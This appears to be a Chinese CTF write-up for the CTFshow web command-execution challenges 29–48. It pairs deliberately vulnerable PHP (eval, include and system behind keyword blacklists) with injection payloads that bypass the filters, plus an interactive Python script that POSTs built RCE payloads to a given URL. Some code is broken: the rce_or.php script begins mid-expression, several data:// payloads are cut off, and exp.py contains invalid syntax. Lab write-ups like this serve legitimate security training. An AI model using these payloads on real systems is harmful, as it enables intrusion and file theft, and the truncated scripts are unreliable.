CTFSHOW WEB入门 命令执行 web29-48

目录

web29

web30

web31

web32

web33

web34

web35

web36

web37

web38

web39

web40

web41【跑脚本 但不会】

web42【还没懂】

web43


 

web29

#flag在源代码里

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

1.?c=system("cp fla?.php 1.txt")       直接访问/1.txt

2.?c=system("tac fla*.php")     //           ?c=system("tac fla?.php")   

3.?c=eval($_POST[1]);       post 1=phpinfo();

        测试成功后,使用蚁剑访问,即可查看flag

web30

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

过滤flag system php

1.?c=eval($_POST[1]);       post 1=phpinfo();

        测试成功后,使用蚁剑访问,即可查看flag

2.?c=`cp fla?.??? 1.txt`;      直接访问/1.txt

3.?c=`cp fla*.*** 1.txt`;        直接访问/1.txt

web31

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤 flag system php cat sort shell 点 空格 单引号

1.?c=echo`tac%09fl*`;

2.?c=eval($_POST[1]);     1=phpinfo();  OR 1=system("tac flag.php");

        测试成功后,使用蚁剑访问,即可查看flag

3.?c=eval($_GET[1]);&1=phpinfo();  OR 1=system("tac flag.php");

4.show_source(next(array_reverse(scandir(pos(localeconv())))));  //查看flag.php源代码

web32

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤 flag system php cat sort shell 点 空格 单引号 ` echo 分号  左括号

1.?c=include%0a$_GET[1]?%3E&1=php://filter/convert.base64-encode/resource=flag.php

        返回base64加密flag.php,解码得flag

2.?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

        返回base64加密flag.php,解码得flag

3.?c=include%0a$_POST[1]?%3E(post)1=php://filter/convert.base64-encode/resource=flag.php

        返回base64加密flag.php,解码得flag

web33

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

过滤 flag system php cat sort shell 点 空格 单引号 ` echo 分号  左括号 双引号

1.?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

2.?c=include%0a$_POST[1]?>(post)1=php://filter/convert.base64-encode/resource=flag.php

3.?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

4.?c=require%0a$_POST[1]?>(post)1=php://filter/convert.base64-encode/resource=flag.php

返回base64加密flag.php,解码得flag

web34

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤 flag system php cat sort shell 点 空格 单引号 ` echo 分号  左括号 双引号 冒号

1.?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

2.?c=include%0a$_POST[1]?>(post)1=php://filter/convert.base64-encode/resource=flag.php

3.?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

4.?c=require%0a$_POST[1]?>(post)1=php://filter/convert.base64-encode/resource=flag.php

返回base64加密flag.php,解码得flag

语言结构:echo print isset unset include require

web35

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

 过滤 flag system php cat sort shell 点 空格 单引号 ` echo 分号  左括号 双引号 冒号 < =

1.?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

2.?c=include%0a$_POST[1]?>(post)1=php://filter/convert.base64-encode/resource=flag.php

3.?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

4.?c=require%0a$_POST[1]?>(post)1=php://filter/convert.base64-encode/resource=flag.php

返回base64加密flag.php,解码得flag

web36


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

 过滤 flag system php cat sort shell 点 空格 单引号 ` echo 分号  左括号 双引号 冒号 < = / 0-9

1.?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

2.?c=include%0a$_POST[a]?>(post)a=php://filter/convert.base64-encode/resource=flag.php

3.?c=require%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

4.?c=require%0a$_POST[a]?>(post)a=php://filter/convert.base64-encode/resource=flag.php

返回base64加密flag.php,解码得flag

web37

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

1.?c=data://text/plain,
        或使用base64封装数据
        ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

2.?c=data://text/plain,

web38

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

1.?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

2.?c=data://text/plain,

web39

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

 ?c=data://text/plain,

web40

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

web41【跑脚本 但不会】

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

 参考网站:ctfshow web入门 web41_yu22x的博客-CSDN博客

rce_or.php

=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                    }
                }
            }

        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }
}
generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
//1代表模式,后面的是过滤规则
本地运行脚本
php-cgi.exe -f [绝对路径]\rce_or.php

exp.py

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os

os.system("php D:\\phpstudy_pro\\WWW\\rce_fuzz.php")  # 没有将php写入环境变量需手动运行
if (len(argv) != 2):
	print("=" * 50)
	print('USER:python exp.py ')
	print("eg:  python exp.py http://ctf.show/")
	print("=" * 50)
	exit(0)
url = argv[1]


def action(arg):
	s1 = ""
	s2 = ""
	for i in arg:
		f = open(r"D:\phpstudy_pro\WWW\rce.txt", "r")//填txt的文件位置
		while True:
			t = f.readline()
			if t == "":
				break
			if t[0] == i:
				# print(i)
				s1 += t[2:5]
				s2 += t[6:9]
				break
		f.close()
	output = "(\"" + s1 + "\"|\"" + s2 + "\")"
	return (output)


while True:
	param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
	data = {
		'c': urllib.parse.unquote(param)
	}
	r = requests.post(url, data=data)
	print("\n[*] result:\n" + r.text)
运行命令
python exp.py [url]

CTFSHOW WEB入门 命令执行 web29-48_第1张图片

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

1.?c=tac flag.php%0a

2.?c=tac flag.php;ls

3.?c=cat flag.php;
4.?c=cat flag.php||
5.?c=cat flag.php%26
6.?c=cat flag.php%26%26

测试成功的结尾(换行)  ①%0a ②; ③|| ④%26 ⑤%26%26

【参考文章】

commond > /dev/null 2>&1 命令详解_Jimmy1224的博客-CSDN博客_2>&1 >/dev/null

2>/dev/null和>/dev/null 2>&1和2>&1>/dev/null的区别_林猛男的博客-CSDN博客_>/dev/null

 system($c." >/dev/null 2>&1");个人理解:

1.传入变量c到伪设备上,执行/dev/null - 接受并丢弃所有输入; 不产生输出(总是在读取时返回文件结束指示

2.2>&1 表示将标准输出和标准错误输出都重定向到/dev/null中

【多种/dev/null区别】

2>/dev/null
意思就是把错误输出到“黑洞”

>/dev/null 2>&1
默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出2重定向到标准输出1,也就是标准输出和错误输出都进了“黑洞”

2>&1 >/dev/null
意思就是把错误输出2重定向到标准出书1,也就是屏幕,标准输出进了“黑洞”,也就是标准输出进了黑洞,错误输出打印到屏幕

web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤 分号和cat

1.?c=tac flag.php%0a
2.?c=tac flag.php||
3.?c=tac flag.php%26
4.?c=tac flag.php%26%26

测试成功的结尾(换行)  ①%0a ②|| ③%26 ④%26%26

#过滤cat 使用nl也可以正常运行

web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤flag 使用 *  ?进行匹配

1.?c=tac fla*%0a

2.?c=tac fla?????%0a

测试成功的结尾  ①%0a ②|| ③%26 ④%26%26

#过滤cat 使用nl也可以正常运行

web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤空格 使用%09 ${IFS}$ $IFS替换

1.?c=tac${IFS}$fla*||

2.?c=echo$IFS`tac$IFS*`%0A

测试成功的结尾  ①%0a ②|| ③%26 ④%26%26

web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤数字 $ *

 1.?c=tac%09fla?????||

测试成功的结尾  ①%0a ②|| ③%26 ④%26%26

web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

多过滤more less head sort tail

1.?c=tac%09fla?????||

2.?c=tac%09fla''g.php%0a

测试成功的结尾  ①%0a ②|| ③%26 ④%26%26

web48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

多过滤sed cut awk string od curl `

1.?c=tac%09fla?????||

2.?c=tac%09fla''g.php%0a

测试成功的结尾  ①%0a ②|| ③%26 ④%26%26

你可能感兴趣的:(ctfshow-web入门,大数据)